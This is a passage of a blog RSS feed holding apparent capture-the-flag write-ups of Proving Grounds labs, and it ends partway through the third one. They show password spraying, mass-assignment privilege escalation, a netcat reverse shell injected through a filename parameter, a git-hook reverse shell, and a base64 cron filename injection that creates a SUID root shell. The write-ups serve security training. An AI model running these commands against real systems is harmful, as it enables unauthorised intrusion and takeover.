/></figure><p>The response exposes a massive JSON array containing all the usernames on the system, which gives us a much bigger list to work with than the ten names displayed on the dashboard. This is essentially broken access control with an unauthenticated endpoint leaking valid usernames.</p><p>I will save this output to a file called usernames.txt by running the following command:</p><pre>curl -s http://192.168.148.106/api/users | jq -r &#39;.[]&#39; &gt; usernames.txt</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HZBmYQ8tx1xhmUeeYbw1HA.png" /></figure><p>The API leaks over 2,000 usernames without any authentication. That’s an open invitation to password spray.</p><p>Normally I use Hydra for this type of scenario, but it wasn’t playing nice with the Node.js server, so I’m using ffuf instead since it does the same job.</p><p>Before using ffuf, we need to check the Burp history to see exactly how the application expects the login data.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*b7FH_i1s4ko7Ps9oNbJBNQ.png" /></figure><p>The request shows that the application expects the credentials in a raw JSON format within the request body, and the server returns a 401 Unauthorized response when an attempt fails. Using this information, we can construct the ffuf command to target the login endpoint.</p><pre>ffuf -w usernames.txt:USER -w /usr/share/wordlists/rockyou.txt:PASS -u http://192.168.148.106/login -X POST -H &quot;Content-Type: application/json&quot; -d &#39;{&quot;username&quot;:&quot;USER&quot;,&quot;password&quot;:&quot;PASS&quot;}&#39; -fr &quot;Unauthorized&quot; -t 50</pre><p><strong>-w: usernames.tx</strong>t:USER loads the username wordlist and replaces USER in the request.<br><strong>-w: rockyou.txt</strong>:PASS loads the password wordlist and replaces PASS in the request.<br><strong>-X:</strong> <strong>POST: </strong>sends POST requests.<br><strong>-H: </strong>sets the request body type to JSON.<br><strong>-d: </strong>defines the JSON login payload.<br><strong>-fr: Unauthorized</strong> filters out responses containing Unauthorized, so valid hits stand out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*G78LIGQWj4_WYmFXdZ8s0Q.png" /></figure><p>ffuf returns a single hit, let’s log in with<strong> dev-acct</strong>:<strong>password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FgVi4zmW7jvhuirGLJkdg.png" /></figure><p>Logging in with dev-acct doesn’t seem to add any obvious new functionality, but if we check Burp we can see after login, a follow-up request to /api/settings that returns an admin field in the JSON body set to false. This looks like a classic target for privilege escalation if we can manipulate that setting and flip it to true.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GqidkybQQWRSz2kt1wiCXw.png" /></figure><p>Since the <strong>GET /api/settings</strong> request returns the <strong>user’s configuration</strong>, including “admin”: false, the same endpoint likely accepts POST requests to update these settings. So I’m going to send it to Repeater, change the request to POST, and add a JSON body with admin set to true to see how the backend handles it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5FlQZx3U43vKofgRngJcyg.png" /></figure><p>Ok that didn’t work. Nothing changes on the page even though the server returns a clean 200 OK. I tried refreshing the web page, but I don’t see any changes. I guess getting a 200 OK doesn’t always mean the database actually saved our changes! It just means the server received the request without crashing.</p><p>Since modifying the GET request and adding a JSON body to it in Burp didn’t work, I’m going to intercept an actual POST request that the web app makes. This way I don’t have to change GET to POST manually, so I’ll just click one of the theme buttons to trigger that POST request, catch it in Intercept, and send it over to Repeater where I can just modify the JSON body it’s already sending to Node.js.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*4kpfF45t34-f_hW7USIZTg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_isE5yqB9qodYo262Xug-Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*AQl7PhNyZuAyMlCm-6t2hQ.png" /></figure><p>Look at that! After forwarding the modified request and refreshing the page, it shows a backup logs button and an input field.</p><p>Clicking on backup logs generates a pop up message, so let’s look it up in Burp HTTP history and see what happened.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/940/1*yyJMhfl1MrwW8dJIA66i2g.png" /></figure><p>The application sends a GET request to the<strong> /api/backup</strong> endpoint with our test input passed into the filename parameter. The backend server then processes this and returns it with the full path of the created gzipped log file which saves to /var/log/app/logfile-test.gz.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jtAfo4_-obtLNQAwPbyMKw.png" /></figure><p>Since the application uses our exact input to name the backup file, it’s possible that the backend is passing this string directly into a system command to compress the logs. If the input isn’t properly validated, we can try to escape the command context and inject our own payloads.</p><p>To test this, I will try connecting back to Kali by using nc on port 443 and modify the filename parameter in the /api/backup request with the URL-encoded newline character (%0A) to escape the file naming context. We can always try other common breakout and chaining characters like semicolons, ampersands, or pipes as well.</p><pre>GET /api/backup?filename=%0Anc 192.168.45.165 443 -e /bin/sh%0A HTTP/1.1</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/819/1*9fiREEDlA-hNALXRAhWcHQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/864/1*mpH9Ig6y1Loubxxgjpw51A.png" /></figure><p>Looks like command injection works, and the application is running with root privileges.</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d3c8101422b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds: Assignment]]></title>
            <link>https://medium.com/@NullEsc/proving-grounds-assignment-3babb9534250?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/3babb9534250</guid>
            <category><![CDATA[owasp]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Sat, 16 May 2026 19:15:21 GMT</pubDate>
            <atom:updated>2026-05-18T04:07:52.501Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/640/1*2mWTBay5xGCrqv4yVjcGbg.jpeg" /></figure><p>This lab is rated Easy by the author, though the community rates it as Very Hard. It demonstrates an attack chain leveraging multiple OWASP Top 10 vulnerabilities, including Broken Access Control (via IDOR) and Security Misconfiguration, then abusing a Git service for remote code execution and ending with command injection in a cron job.</p><p>Starting with an Nmap scan across all ports using <strong>-p-</strong>, <strong>-sV</strong> to pull service banners, <strong>-sC</strong> for default scripts, <strong>-T4</strong> to speed things up, <strong>-Pn</strong> to skip host discovery and <strong>-oN</strong> to save the results to a text file.</p><pre>sudo nmap <strong>-sV -sC -T4 -p- -Pn -oN</strong> nmap 192.168.174.224<br>[sudo] password for nullesc: <br>Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-16 11:01 +1000<br>Nmap scan report for 192.168.174.224<br>Host is up (0.100s latency).<br>Not shown: 65532 closed tcp ports (reset)<br>PORT     STATE SERVICE VERSION<br><strong>22/tcp</strong>   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)<br>| ssh-hostkey: <br>|   3072 62:36:1a:5c:d3:e3:7b:e1:70:f8:a3:b3:1c:4c:24:38 (RSA)<br>|   256 ee:25:fc:23:66:05:c0:c1:ec:47:c6:bb:00:c7:4f:53 (ECDSA)<br>|_  256 83:5c:51:ac:32:e5:3a:21:7c:f6:c2:cd:93:68:58:d8 (ED25519)<br><strong>80/tcp</strong>   open  http<br>|_<strong>http-title: notes.pg</strong><br>| fingerprint-strings: <br>|   DNSStatusRequestTCP, DNSVersionBindReqTCP, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, afp, giop, ms-sql-s, oracle-tns: <br>|     HTTP/1.1 400 Bad Request<br>|   GetRequest: <br>|     HTTP/1.0 403 Forbidden<br>|     Content-Type: text/html; charset=UTF-8<br>|_    Content-Length: 0<br><strong>8000/tcp</strong> open  http    <strong>Golang net/http server</strong><br>|_http-open-proxy: Proxy might be redirecting requests<br>|_http-title: <strong>Gogs</strong><br>| fingerprint-strings: <br>|   FourOhFourRequest: <br>|     HTTP/1.0 404 Not Found<br>|     Content-Type: text/html; charset=UTF-8<br>|     Set-Cookie: lang=en-US; Path=/; Max-Age=2147483647<br>|     Set-Cookie: i_like_gogs=b2b3eb4fc7c72815; Path=/; HttpOnly<br>|     Set-Cookie: _csrf=v4YL8aFWMmApIBmE3CNrlcmbnU46MTc3ODg5MzQ4NzczOTYwNTc3MA; <br>|     Path=/; <strong>Domain=assignment.pg</strong>; Expires=Sun, 17 May 2026 01:04:47 GMT; HttpOnly<br>|     X-Content-Type-Options: nosniff<br>|     X-Frame-Options: DENY</pre><p>There are three open ports including SSH on <strong>port 22</strong> and then two web services on <strong>ports 80 and 8000</strong>. Port 80 shows a title of notes.pg and port 8000 is running a Gogs service and also noticed the domain <strong>assignment.pg</strong> in the HTTP headers. Since the results point to this domain I’m adding assignment.pg to the hosts file to ensure the browser and tools can resolve the name properly in case the server is using virtual hosting to route the traffic.</p><p>Before going to the websites I check both ports 80 and 8000 for any hidden paths or exposed resources on the web services and let it run in the background.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_uSISBshRSaVsceb3oh9Wg.png" /></figure><p>Port 8000 is running Gogs which is a self-hosted Git service (similar to GitHub) and requires credentials to access it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1004/1*OLKcBvgXPA_rup5f6xTPBA.png" /></figure><p>The website on port 80 appears to be a note-taking web app called notes.pg running on <strong>Ruby on Rails</strong>, so later if we wanted to extend the directory scan we should filter for <strong>.rb</strong> extensions. We can see there’s an email <strong>jane@notes.pg</strong> in the contact details and a link called notes.pg, if we click on it, it times out in the browser, so I add notes.pg to the hosts file as well. Then I tried weak credentials but no hits, so I’ll register an account to continue enumerating the web app as an authenticated user.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_g0V09Ur05NT96CenX9cvQ.png" /></figure><p>Before visiting the site I am going to run Burp Suite in the background to let it log our interaction in the HTTP history and then I will sign up and create a user called test_user1 to sign in.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*KaHI4XX1iEAPEF3BkBDj4A.png" /></figure><p>After registering, I started by exploring the members tab where I see a list of users including Jane, who is listed in the contact details on the landing page, along with our test_user1, forged_owner, and an <strong>authenticity_token</strong> for forged_owner.</p><p>Looking at this token, we can see the username and password are both set to forged_owner, and more importantly the user is assigned the owner role, so if these credentials are valid, we would be assigned that level of access. With that in mind let’s keep going with our enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-u6zviv78GoEH9GCWjNk9A.png" /></figure><p>If I click on the first user in the list Jane, notice how the URL gets updated to /users/1 which shows me her profile details like join date and her role as owner, and if I change that ID in the URL path to /users/2 I can see Tom’s details which indicates the application is not performing proper access control checks. Doing so allows me to enumerate the entire user base and see everyone’s roles and join dates, which confirms an Insecure Direct Object Reference (IDOR) vulnerability is present and could lead to further security risks.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HWbwrAcHdpuqxjRNhZAdAw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d7Cq-VWWKeg6uc8zupzmoA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IVWbfZmQfqwigyYL3alNxQ.png" /></figure><p>Next, I move on to the New Note tab and create a note called todo. Once created, the note is assigned an ID in the URL, and since we already know the user profiles are vulnerable to IDOR I try the same method here by changing the ID in the URL path to /notes/1 to see if I can read Jane’s notes, but I get redirected back to the dashboard with an “Insufficient rights!” message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QTXvFslufa4aS0NgTcIc_Q.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lylbMcdK8Wfcp1wlKHmOrw.png" /></figure><p>The fact that the app redirects me to the dashboard with “<strong>Insufficient rights!”</strong> instead of simply ignoring the request or showing a generic “not found” means it actually tries to fetch note 1 and then checks my permissions, so the object reference is still direct and predictable, it’s just that the authorisation check kicks in this time. A properly secured app would just reload the current view without giving any clue that another user’s objects exist.</p><p>Now instead of logging in with that forged_owner account, I’m going to create a second user because in most cases we won’t be so lucky to find credentials easily, and since Burp Suite is logging the requests, we can check HTTP history and take a look at the authenticity_token we received in the POST /register request when we signed up.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/905/1*fsghQjA7RTEwyR-q1wUPvw.png" /></figure><p>As you can see, the structure of the token is identical to the one sent for forged_owner, except it’s missing the <strong><em>user[role]=owner</em></strong> parameter. So I’m going to create a new user called test_user2, intercept the request this time, and add user[role]=owner to it before forwarding.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/784/1*yRIr4PAik_CceW4HOhaoLQ.png" /></figure><p>After sending that modified request, I’m going to sign in with test_user2 and password2, and if everything went according to plan, the owner role should be assigned to this user we just registered.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RIy4tfpWYKzXAmjEF8eSbA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bKlkXcZQSneRbZKXawn-vg.png" /></figure><p>Indeed, the application processed the injected parameter, meaning we are now officially logged in with an owner account. Now with elevated privileges let’s test whether this extra permission allows access to those notes that were blocked earlier by changing the URL path to /notes/1.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0ImFTm2DThTp_lQzbSFBvQ.png" /></figure><p>The page loads without any errors and now I have access to Jane’s note containing her Gogs credentials. I can use these to sign in to Gogs on port 8000.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rVplyjq_uUM82iks8r8_yw.png" /></figure><p>We successfully sign in as Jane and it’s an empty repository. Knowing that she has owner role privileges on the note app, it’s very likely that she has high privileges here too. So I’m going to create a repository to check if git hooks are enabled, because whenever I encounter self-hosted Git services like Gogs or Gitea one of the first features I check is access to Git hooks functionality since Git hooks allow administrators to execute custom server-side scripts.</p><p>This technique is associated with CVE-2020-14144 and it also applies to Gogs. You can read about it <a href="https://github.com/gogs/gogs/issues/6536">here</a>, or check this GitHub <a href="https://github.com/p0dalirius/CVE-2020-14144-GiTea-git-hooks-rce">repository</a> to see how easy it is to drop a reverse shell using this administrative feature.</p><p>To get started I am going to create a repository called <strong>hook-trigger</strong>, leaving everything else as default, and check the <em>Initialise this repository with selected files and template</em> box so that it automatically populates the main branch with a README file before clicking create repository.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1014/1*4BlsrdKkbe-jKFDNG6Nslw.png" /></figure><p>Now that the repository is created, we can check if hooks are enabled by going to the settings.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qrf3ZfZTK6yXvrcHz_AYrA.png" /></figure><p>With Git hooks being enabled, all we have to do is write a reverse shell in one of the hooks, update the file, then make any arbitrary change in the README file, commit the change, and get a shell back.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rExMdCutcIWEAt7eKmQNgg.png" /></figure><p>Once the reverse shell is saved inside the update hook, the grey dot turns green indicating that the script is active. Now we just head back to the main file view, open the README.md file, make any arbitrary change, and commit it to trigger the hook and catch a shell.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9aedrsJmqWADCZVas-Objw.png" /></figure><p>The moment the commit goes through the penelope listener catches the shell and we are in as jane.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X4COfJCtgH59eryQg4Zf2g.png" /></figure><p>In case you want to do the exact same steps through the terminal just make sure when you create the repository you tick that box to initialise it with a README file and here are the commands:</p><pre># Clone the repository locally<br>git clone http://192.168.174.224:8000/jane/hook-trigger.git<br><br># Configure the local Git identity so the commit is allowed<br>git config user.email &quot;jane@assignment.pg&quot;<br>git config user.name &quot;jane&quot;<br><br># Modify the file to set up the execution event<br>echo &quot;Triggering hook&quot; &gt;&gt; README.md<br>git add README.md<br>git commit -m &quot;trigger&quot;<br><br># Push the changes back to the server to execute the hook script<br>git push origin master</pre><p>Normally when I get an initial foothold, I run a few quick checks for low-hanging fruit before deeper enumeration, like checking for sudo privileges, looking for SUID binaries, searching for files owned by the current user, and checking cron jobs, but none of that gave me anything useful, so I monitored the running processes in real time with pspy and found an interesting cron job running as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/759/1*vL4P-Ayj7e6Sn0LW9PgD9w.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/558/1*TJu_HdXqc8bExnehNO37sw.png" /></figure><p>The cron job runs clean-tmp.sh, which uses find to delete files inside /dev/shm. Because it passes the filename into sh -c, the filename is interpreted as part of a shell command. That means if we name the file carefully, the cron job will execute it as root. To do that we can use a semicolon in the filename to break out of the intended command and inject my own payload right after it.</p><p>This took me a while to figure out and I couldn’t find any easier way to do it so since we cannot easily use special characters in a filename, I first base64-encode the command and then use touch to create the malicious file.</p><pre>echo -n &#39;cp /bin/bash /tmp/rootbash &amp;&amp; chmod +s /tmp/rootbash&#39; | base64</pre><pre>touch &#39;/dev/shm/;echo Y3AgL2Jpbi9iYXNoIC90bXAvcm9vdGJhc2ggJiYgY2htb2QgK3MgL3RtcC9yb290YmFzaA== | base64 -d | bash&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UOTg67fwaMBZIOq6Qmc65Q.png" /></figure><p>After waiting a minute for the cron job to trigger, I finally get the rootbash binary in /tmp and game over!</p><p>Thank you for reading.<br>Stay curious, stay kind, and keep learning. Until the next pivot…</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3babb9534250" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Proving Grounds: hokkaido]]></title>
            <link>https://medium.com/@NullEsc/proving-grounds-hokkaido-5f52017de938?source=rss-dbf96f72b63f------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f52017de938</guid>
            <category><![CDATA[oscp-preparation]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[oscp]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <category><![CDATA[offensive-security]]></category>
            <dc:creator><![CDATA[NullEsc]]></dc:creator>
            <pubDate>Sun, 22 Feb 2026 16:24:26 GMT</pubDate>
            <atom:updated>2026-05-22T02:20:31.420Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*lN8FGDViBJLDggR5euFcZg.png" /></figure><p>Hokkaido is a medium-level lab on OffSec’s Proving Grounds but the community has rated it as Very Hard. It involves lots of enumeration and piecing together clues.</p><p>Starting Nmap with usual flags and a full port scan.</p><pre>sudo nmap -sV -sC -T4 -p- -Pn -oN nmap_hokkaido 192.168.212.40</pre><pre>PORT      STATE SERVICE       VERSION<br>53/tcp    open  domain        Simple DNS Plus<br>80/tcp    open  http          Microsoft IIS httpd 10.0<br>|_http-server-header: Microsoft-IIS/10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: IIS Windows Server<br>88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2026-02-22 02:37:19Z)<br>135/tcp   open  msrpc         Microsoft Windows RPC<br>139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn<br>389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-02-22T02:38:24+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.hokkaido-aerospace.com<br>| Not valid before: 2023-12-07T13:54:18<br>|_Not valid after:  2024-12-06T13:54:18<br>445/tcp   open  microsoft-ds?<br>464/tcp   open  kpasswd5?<br>593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>636/tcp   open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com, Site: Default-First-Site-Name)<br>| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.hokkaido-aerospace.com<br>| Not valid before: 2023-12-07T13:54:18<br>|_Not valid after:  2024-12-06T13:54:18<br>|_ssl-date: 2026-02-22T02:38:25+00:00; 0s from scanner time.<br>1433/tcp  open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>| ms-sql-info: <br>|   192.168.212.40:1433: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 1433<br>| ms-sql-ntlm-info: <br>|   192.168.212.40:1433: <br>|     Target_Name: HAERO<br>|     NetBIOS_Domain_Name: HAERO<br>|     NetBIOS_Computer_Name: DC<br>|     DNS_Domain_Name: hokkaido-aerospace.com<br>|     DNS_Computer_Name: dc.hokkaido-aerospace.com<br>|     DNS_Tree_Name: hokkaido-aerospace.com<br>|_    Product_Version: 10.0.20348<br>|_ssl-date: 2026-02-22T02:38:25+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2024-08-02T02:13:54<br>|_Not valid after:  2054-08-02T02:13:54<br>3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-02-22T02:38:24+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.hokkaido-aerospace.com<br>| Not valid before: 2023-12-07T13:54:18<br>|_Not valid after:  2024-12-06T13:54:18<br>3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hokkaido-aerospace.com, Site: Default-First-Site-Name)<br>|_ssl-date: 2026-02-22T02:38:24+00:00; 0s from scanner time.<br>| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com<br>| Subject Alternative Name: othername: 1.3.6.1.4.1.311.25.1:&lt;unsupported&gt;, DNS:dc.hokkaido-aerospace.com<br>| Not valid before: 2023-12-07T13:54:18<br>|_Not valid after:  2024-12-06T13:54:18<br>3389/tcp  open  ms-wbt-server Microsoft Terminal Services<br>|_ssl-date: 2026-02-22T02:38:24+00:00; 0s from scanner time.<br>| rdp-ntlm-info: <br>|   Target_Name: HAERO<br>|   NetBIOS_Domain_Name: HAERO<br>|   NetBIOS_Computer_Name: DC<br>|   DNS_Domain_Name: hokkaido-aerospace.com<br>|   DNS_Computer_Name: dc.hokkaido-aerospace.com<br>|   DNS_Tree_Name: hokkaido-aerospace.com<br>|   Product_Version: 10.0.20348<br>|_  System_Time: 2026-02-22T02:38:16+00:00<br>| ssl-cert: Subject: commonName=dc.hokkaido-aerospace.com<br>| Not valid before: 2026-02-21T02:26:35<br>|_Not valid after:  2026-08-23T02:26:35<br>5985/tcp  open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>|_http-title: Not Found<br>8530/tcp  open  http          Microsoft IIS httpd 10.0<br>| http-methods: <br>|_  Potentially risky methods: TRACE<br>|_http-title: 403 - Forbidden: Access is denied.<br>|_http-server-header: Microsoft-IIS/10.0<br>8531/tcp  open  unknown<br>9389/tcp  open  mc-nmf        .NET Message Framing<br>47001/tcp open  http          Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)<br>|_http-title: Not Found<br>|_http-server-header: Microsoft-HTTPAPI/2.0<br>49664/tcp open  msrpc         Microsoft Windows RPC<br>49665/tcp open  msrpc         Microsoft Windows RPC<br>49666/tcp open  msrpc         Microsoft Windows RPC<br>49667/tcp open  msrpc         Microsoft Windows RPC<br>49668/tcp open  msrpc         Microsoft Windows RPC<br>49671/tcp open  msrpc         Microsoft Windows RPC<br>49675/tcp open  msrpc         Microsoft Windows RPC<br>49684/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0<br>49685/tcp open  msrpc         Microsoft Windows RPC<br>49691/tcp open  msrpc         Microsoft Windows RPC<br>49700/tcp open  msrpc         Microsoft Windows RPC<br>49701/tcp open  msrpc         Microsoft Windows RPC<br>49712/tcp open  msrpc         Microsoft Windows RPC<br>49784/tcp open  msrpc         Microsoft Windows RPC<br>58538/tcp open  ms-sql-s      Microsoft SQL Server 2019 15.00.2000.00; RTM<br>|_ssl-date: 2026-02-22T02:38:24+00:00; -1s from scanner time.<br>| ms-sql-info: <br>|   192.168.212.40:58538: <br>|     Version: <br>|       name: Microsoft SQL Server 2019 RTM<br>|       number: 15.00.2000.00<br>|       Product: Microsoft SQL Server 2019<br>|       Service pack level: RTM<br>|       Post-SP patches applied: false<br>|_    TCP port: 58538<br>| ms-sql-ntlm-info: <br>|   192.168.212.40:58538: <br>|     Target_Name: HAERO<br>|     NetBIOS_Domain_Name: HAERO<br>|     NetBIOS_Computer_Name: DC<br>|     DNS_Domain_Name: hokkaido-aerospace.com<br>|     DNS_Computer_Name: dc.hokkaido-aerospace.com<br>|     DNS_Tree_Name: hokkaido-aerospace.com<br>|_    Product_Version: 10.0.20348<br>| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback<br>| Not valid before: 2024-08-02T02:13:54<br>|_Not valid after:  2054-08-02T02:13:54<br>Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows</pre><p>Main ports we are focused on are the usual Active Directory ports (53 DNS, 88 Kerberos, 389/636 LDAP/LDAPS, 464 kpasswd, 3268/3269 Global Catalog), SMB on 139/445, HTTP services on port 80 (default IIS page) and 8530, WinRM on 5985, RDP on its default port, and MSSQL also on its default port. The <strong>domain</strong> is hokkaido-aerospace.com and <strong>FQDN</strong> dc.hokkaido-aerospace.com which I’ll add to hosts file.</p><p>Directory enumeration on HTTP port 80 comes up empty. Port 8530 shows an inventory endpoint via 301 redirect but we can’t access it which actually matches nmap’s 403 Forbidden response above.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*XrsoWiYmlxcOIDJh5GWleQ.png" /></figure><p>I tried using nxc for RID brute forcing and I also attempted to enumerate users through rpcclient but all of them failed with access denied errors because the domain controller is clearly configured to prevent anonymous lookups. Even ldapsearch was a bust because it requires a successful bind before it lets you query anything, so at this point the next best thing to find some usernames is Kerberos user enumeration.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gS6cziiJCsE0kCOmShjaOw.png" /></figure><p>SecLists has a few usernames files, I start with the smallest one.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SoNuMWXxrkp2cqTpmauzBQ.png" /></figure><p>We got a hit! 2 valid usernames <strong>info</strong> and <strong>administrator. </strong>This is a good time to create a username file.</p><p>With the new usernames, I retest RID brute-forcing and null sessions but they still fail. <strong>AS-REP</strong> roasting comes up empty too, so I tried password spraying usernames against themselves.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*a9kwmqoFNwBBKSg4PFAT7g.png" /></figure><p>Finally some good news, info:info works. We can move past the anonymous access restrictions and start pulling real data from the domain controller. Now with valid creds options open up: Kerberoasting, share access, and user enumeration etc. Let’s check for domain users.</p><pre>nxc smb 192.168.212.40 -u &#39;info&#39; -p &#39;info&#39; --rid-brute </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cLcjwGShkbeSVEH9t06pnw.png" /><figcaption>used grep to make the output shorter.</figcaption></figure><p>Great! I add them to usernames.txt and check SMB shares.</p><pre>nxc smb 192.168.212.40 -u &#39;info&#39; -p &#39;info&#39; --shares</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*N7KJKQ2tJsZyZsDxCxjuxw.png" /></figure><p>Homes is just empty user directories, but <strong>NETLOGON</strong> has an interesting file called password_reset.txt with a note “<em>Initial Password: Start123!</em>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*wIqKCc2qbnpYCLhtvixoSg.png" /></figure><p>We should make a note of this and also create a password.txt file so we can spray it against all our new usernames but before that I’ll check for kerberoastable accounts since service accounts like <strong>LANSWEEPER$</strong> appeared in users and we know from nmap there is a <strong>webserver</strong> and <strong>MSSQL</strong> running.</p><pre>impacket-GetUserSPNs -request -dc-ip 192.168.212.40 &quot;hokkaido-aerospace.com/info:info&quot; -outputfile hashes.kerberoast</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*TfhfIcXsLq_xcnUNx3oD-Q.png" /></figure><p>Two service accounts show up but hashcat won’t crack them with my wordlist so I move to password spraying.</p><pre>nxc smb 192.168.212.40 -u usernames.txt -p password.txt --continue-on-success | grep &#39;[+]&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*g8X_cqaKE18o3RUBJfcN4Q.png" /></figure><p>Discovery:Start123! validates and discovery appeared in Kerberoast output above. Knowing from the Nmap results that <strong>MSSQL</strong> is active on the host it makes sense to check if this discovery account has any access to that service first.</p><pre>nxc mssql 192.168.212.40 -u discovery -p &#39;Start123!&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DS3p2lXoin10iBOVANdcHg.png" /></figure><p>MSSQL login works, so I connect with impacket-mssqlclient using Windows auth.</p><pre>impacket-mssqlclient 